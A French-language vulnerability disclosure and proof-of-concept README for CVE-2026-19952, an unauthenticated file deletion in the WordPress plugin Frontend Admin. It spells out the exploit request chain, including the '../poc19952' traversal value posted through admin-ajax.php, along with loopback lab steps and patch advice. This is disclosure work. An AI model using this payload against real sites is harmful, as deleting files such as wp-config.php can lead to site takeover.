
Pack de preuve de concept et de divulgation pour CVE-2026-19952, une suppression de fichier arbitraire non authentifiée dans le plugin WordPress Frontend Admin, avec les étapes de reproduction en laboratoire.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-19952
WordPress — Frontend Admin by DynamiApps 3.29.12 — DynamiApps
Le plugin Frontend Admin by DynamiApps pour WordPress est vulnérable à la suppression arbitraire de fichiers en raison d'une validation insuffisante du chemin de fichier dans la fonction move_folders dans toutes les versions jusqu'à 3.29.12 incluse. Cela permet à des attaquants non authentifiés de supprimer des fichiers arbitraires sur le serveur, ce qui peut facilement mener à une exécution de code à distance lorsque le bon fichier est supprimé (comme wp-config.php). Ceci est exploitable sans authentification lorsqu'un formulaire est configuré avec une visibilité publique (who_can_see='all'), car le nonce requis est publiquement obtenable depuis le formulaire rendu.
| CVE | CVE-2026-19952 · CVE.org |
| CWE | CWE-22 |
| CVSS | High: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Produit | WordPress — Frontend Admin by DynamiApps |
| Affecté | toutes les versions jusqu'à 3.29.12 (incluse) |
| Corrigé | 3.29.13 et ultérieures |
| Auth | aucune (voir la cartographie des sources) |
| Licence | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 uniquement · pack de divulgation fournisseur/client, pas un scanner |
move_folders est le point de terminaison, accroché sur acf/pre_update_value/type=upload_files (galerie), pas upload_file. HTTP est admin-ajax.php action=frontend_admin/form_submit. Le merge tag est [post:title] depuis le post_title soumis.
POST/wp-admin/admin-ajax.phpGET /wp-content/poc19952/index.php expect POCWitness19952GET /fea-files-lab/ harvest hiddens and field keysPOST /wp-admin/admin-ajax.php action=frontend_admin/form_submit acff[post][title]=../poc19952 acff[post][files]=1check_submit_form nopriv + who_can_see=allcreate_record post_title _input=../poc19952ActionPost::run acf_update_value on upload_files fieldmove_folders get_dynamic_values([acf:post_title]) -> ../poc19952upload_dir = basedir/../poc19952 = wp-content/poc19952unlink wp-content/poc19952/index.phpGET /wp-content/poc19952/index.php no POCWitness19952[acf:post_title]Avant le POST, GET /wp-content/poc19952/index.php contient POCWitness19952. Après le POST, cette chaîne a disparu (404). Un JSON de succès de formulaire seul ne compte pas.
À faire en premier : Mettre à jour Frontend Admin by DynamiApps vers 3.29.13 ou plus récent (get_safe_upload_dir).
Vérifier après la mise à niveau
CVE-2026-19952-Abraxas-Labs.py contre la version corrigée : le témoin cartographié ne doit pas apparaître.Si vous ne pouvez pas mettre à jour immédiatement
Cibler uniquement http://127.0.0.1:8088 (ou le loopback que vous avez lié). Ne pointez pas ce script vers Internet.
python3 CVE-2026-19952-Abraxas-Labs.py
Le succès est le témoin ci-dessus dans le corps de la réponse. Un HTML 200 générique ne compte pas.
Pile loopback utilisée pour la reproduction. Images officielles sauf si un Dockerfile dans ce dossier construit depuis les sources.
cd lab
docker compose up --force-recreate
Lier l'arborescence du produit vulnérable à côté de Compose si le YAML monte un répertoire local (zip du plugin / tag source depuis le tableau des versions). Ne publier rien d'autre que 127.0.0.1.
www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
Répertoire de plugins : acf-frontend-form-element
Navigateur Trac : plugins.trac.wordpress.org/acf-frontend-form-element
Tags SVN : plugins.svn.wordpress.org/acf-frontend-form-element
Abraxas Labs : abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-19952 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-19952`
- CWE: CWE-22
- published: 2026-09-01T05:17:09.747
## NVD description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
## MITRE description
error: <urlopen error [Errno 8] nodename nor servname provided, or not known>
## Affected
## References (JSON sources only)
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1014
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1044
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1047
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/shortcodes.php#L99
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L125
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L276
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.13/main/frontend/fields/general/class-upload-file.php#L1047
- https://www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
- https://github.com/advisories/GHSA-3rrx-59q7-9g4m
- https://nvd.nist.gov/vuln/detail/CVE-2026-19952
## GitHub advisory
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion...
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
Ce pack de divulgation est sous licence GNU Affero General Public License v3.0. Voir LICENSE.
Ce pack est destiné au fournisseur, au propriétaire du site et aux labs autorisés. Le script communique avec 127.0.0.1. L'utiliser contre des systèmes que vous ne possédez pas n'est pas autorisé par Abraxas Labs. Aucune garantie.